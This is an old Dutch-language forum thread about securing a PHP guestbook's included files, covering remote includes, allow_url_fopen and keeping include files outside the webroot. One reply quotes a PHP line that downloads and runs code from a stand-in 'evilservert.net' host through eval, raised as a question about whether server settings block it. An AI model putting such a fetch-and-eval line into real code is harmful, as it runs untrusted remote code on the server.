[php] Beveiliging script

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 07-07 10:04
Ik heb in index.php een waarde $controle="asdasdas"(doet er nu niet toe welke waarde er in staat, is namelijk bij de installatie gegenereerd)
Deze wordt gecontroleerd in een ander script wat wordt geinclude, zodat de functies niet kunenn worden aangeroepen van onbevoegde scripts, maar hoe voorkom ik dat iemand gewoon index.php include en daardoor nog dat beveiligde bestand aan kan?

Acties:
  • 0 Henk 'm!

  • Yo-han
  • Registratie: December 2001
  • Laatst online: 18-08 20:16

Yo-han

nope.

checken vanwaar de include komt met
PHP:
1
$_SERVER["HTTP_HOST"]
bijvoorbeeld...

edit:

kijk hier ook eens naar:

remote-files
include

[ Voor 52% gewijzigd door Yo-han op 01-07-2003 15:37 ]


Acties:
  • 0 Henk 'm!

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 07-07 10:04
Dus iemand kan alleen de variabeles gebruiken in een script als hij er toegang toe heeft op de lokale server, en niet als hij hem via http://url/index.php aanroept?

Acties:
  • 0 Henk 'm!

  • OkkE
  • Registratie: Oktober 2000
  • Laatst online: 04-09 08:16

OkkE

CSS influencer :+

Met die code krijg je de URL terug van waar de pagina staat, die variabele vergelijk je met de string van je eigen URL/Host. Zijn deze niet gelijk doe je een exit(); of redirect.

“The best way to get the right answer on the Internet is not to ask a question, it's to post the wrong answer.”
QA Engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 999999999 beers. Orders a lizard. Orders -1 beers.


Acties:
  • 0 Henk 'm!

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 07-07 10:04
Ja dat snap ik, maar als ik het gooed begrijp uit die links is dat niet eens nodig. Als ik het goed begrijp heeft het bestand wat mijn php-script include vanaf een remote-locatie helemaal geen toegang tot de variabelen in mijn script.

Acties:
  • 0 Henk 'm!

  • thomaske
  • Registratie: Juni 2000
  • Laatst online: 17-09 07:55

thomaske

» » » » » »

natuurlijk niet, anders zou namelijk iedereen je source-code kunnen zien..

Brusselmans: "Continuïteit bestaat niet, tenzij in zinloze vorm. Iets wat continu is, is obsessief, dus ziekelijk, dus oninteressant, dus zinloos."


Acties:
  • 0 Henk 'm!

  • pietje63
  • Registratie: Juli 2001
  • Laatst online: 19:27

pietje63

RTFM

thomaske schreef op 01 July 2003 @ 17:03:
natuurlijk niet, anders zou namelijk iedereen je source-code kunnen zien..
eeeh, toch wel...
als je een script.php
PHP:
1
2
3
4
<?
include (blaat.txt);
echo ($test);
?>

en een bestand blaat.txt
code:
1
2
3
<?
$test = "Hello World";
?>

hebt dan krijg je als output (van script.php) toch "Hello World" (bij mij iig..)

De grootste Nederlandstalige database met informatie over computers met zoekfunctie!!


Acties:
  • 0 Henk 'm!

  • eborn
  • Registratie: April 2000
  • Laatst online: 19:03
pietje63 schreef op 01 July 2003 @ 17:26:
[...]

eeeh, toch wel...
als je een script.php
PHP:
1
2
3
4
<?
include (blaat.txt);
echo ($test);
?>

en een bestand blaat.txt
code:
1
2
3
<?
$test = "Hello World";
?>

hebt dan krijg je als output (van script.php) toch "Hello World" (bij mij iig..)
Ja, nogal logisch. Maar je include nu gewoon een bestand op je eigen server, niet remote.

Acties:
  • 0 Henk 'm!

  • Yo-han
  • Registratie: December 2001
  • Laatst online: 18-08 20:16

Yo-han

nope.

Scorpion1984 schreef op 01 July 2003 @ 16:50:
Ja dat snap ik, maar als ik het gooed begrijp uit die links is dat niet eens nodig. Als ik het goed begrijp heeft het bestand wat mijn php-script include vanaf een remote-locatie helemaal geen toegang tot de variabelen in mijn script.
Check je PHP.INI file ff of die variabelen goed staan. Dan is remote includen praktisch onmogelijk. ;)

Acties:
  • 0 Henk 'm!

  • JeRa
  • Registratie: Juni 2003
  • Laatst online: 30-04 10:28

JeRa

Authentic

Van bestanden op je eigen server kun je de source zien, maar van andere servers (mits die goed zijn ingesteld) NIET.

ifconfig eth0 down


Acties:
  • 0 Henk 'm!

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 07-07 10:04
Ok het werkt, thanx :D

Acties:
  • 0 Henk 'm!

  • sebas
  • Registratie: April 2000
  • Laatst online: 03-09 12:51
dayoman schreef op 01 July 2003 @ 17:33:
[...]


Check je PHP.INI file ff of die variabelen goed staan. Dan is remote includen praktisch onmogelijk. ;)
heeft dat dan ook invloed op een dergelijke constructie:
PHP:
1
eval(implode('', file('http://evilservert.net/gemeenscriptje.php.txt')));


:?

Everyone complains of his memory, no one of his judgement.


Acties:
  • 0 Henk 'm!

Verwijderd

sebas schreef op 01 juli 2003 @ 17:39:
[...]

heeft dat dan ook invloed op een dergelijke constructie:
PHP:
1
eval(implode('', file('http://evilservert.net/gemeenscriptje.php.txt')));


:?
je dwaalt af 8)7

includen van een script op een andere server waar php draait via http:// blaat heeft sowieso geen nut dus ga daar nou niet over in zitten

als je zoiets doet
eval(implode('', file('http://evilservert.net/gemeenscriptje.php.txt')));

tja dan vraag je er zelf om, zucht

Acties:
  • 0 Henk 'm!

  • Yo-han
  • Registratie: December 2001
  • Laatst online: 18-08 20:16

Yo-han

nope.

Zo lang de ondersteuning voor "URL fopen wrapper" actief is wanneer je PHP configureert (is standaard actief tenzij je expliciet de --disable-url-fopen-wrapper optie gebruikt (voor versies tot en met 4.0.3) of allow_url_fopen zet to "off" (voor nieuwere versies) kun je HTTP en FTP urls gebruiken met de meeste functies die standaard gezien een bestandsnaam als argument vereisen, dit werkt ook met de require() en include() functies.
Je kan hem dus aan of uit zetten... ook voor file dus!

[ Voor 6% gewijzigd door Yo-han op 01-07-2003 17:47 . Reden: damn typo ]


Acties:
  • 0 Henk 'm!

  • Bosmonster
  • Registratie: Juni 2001
  • Laatst online: 16:28

Bosmonster

*zucht*

dayoman schreef op 01 July 2003 @ 17:46:
[...]


Je kan hem dus aan of uit zetten... ook voor file dus!
Dat gaat ergens anders over :)

Je kunt nooit PHP-code includen vanaf een andere server, aangezien PHP dit gewoon verstuurt als request en je dus de OUTPUT van de PHP file terugkrijgt en include en niet de werkelijke code.

Acties:
  • 0 Henk 'm!

  • eborn
  • Registratie: April 2000
  • Laatst online: 19:03
Hoe vaak hebben we deze discussie nou eigenlijk gehad in P&W? :P

Acties:
  • 0 Henk 'm!

Verwijderd

Bovendien horen dit soort dingen niet in je wwwroot of subs te staan

Acties:
  • 0 Henk 'm!

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 07-07 10:04
Verwijderd schreef op 01 July 2003 @ 19:11:
Bovendien horen dit soort dingen niet in je wwwroot of subs te staan
een guestbook niet in je wwwroot?????

Acties:
  • 0 Henk 'm!

  • Bosmonster
  • Registratie: Juni 2001
  • Laatst online: 16:28

Bosmonster

*zucht*

Scorpion1984 schreef op 02 July 2003 @ 01:17:
[...]

een guestbook niet in je wwwroot?????
Includes niet in je wwwroot. Het is inderdaad geen onverstandig idee includes op een voor buitenstaanders onzichtbaar niveau te plaatsen ;)

Acties:
  • 0 Henk 'm!

  • Yo-han
  • Registratie: December 2001
  • Laatst online: 18-08 20:16

Yo-han

nope.

Bosmonster schreef op 02 juli 2003 @ 09:46:
[...]


Includes niet in je wwwroot. Het is inderdaad geen onverstandig idee includes op een voor buitenstaanders onzichtbaar niveau te plaatsen ;)
Maar daar komt het al oude probleem weer boven van de geweldige providers die je alleen maar een wwwroot map toe bedelen... ;(

Dit kan dus alleen op dedicated servers en je eigen servertje... (of praat ik nu poep?)

Acties:
  • 0 Henk 'm!

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 07-07 10:04
dayoman schreef op 02 July 2003 @ 10:23:
[...]


Maar daar komt het al oude probleem weer boven van de geweldige providers die je alleen maar een wwwroot map toe bedelen... ;(

Dit kan dus alleen op deticated servers en je eigen servertje... (of praat ik nu poep?)
Dat bedoel ik, ik ben een guestbook aan het schrijven voor een vriend. Hij wil wat functies waar ik geen non-commercieel php-script voor heb gevonden, dus ben ik het nu zelf aan het schrijven(mijn eerste eigen script met nut 8) ) En het probleem is dat hij geen dedicated server of eigen server heeft.

[ Voor 7% gewijzigd door Scorpion1984 op 02-07-2003 17:37 ]

Pagina: 1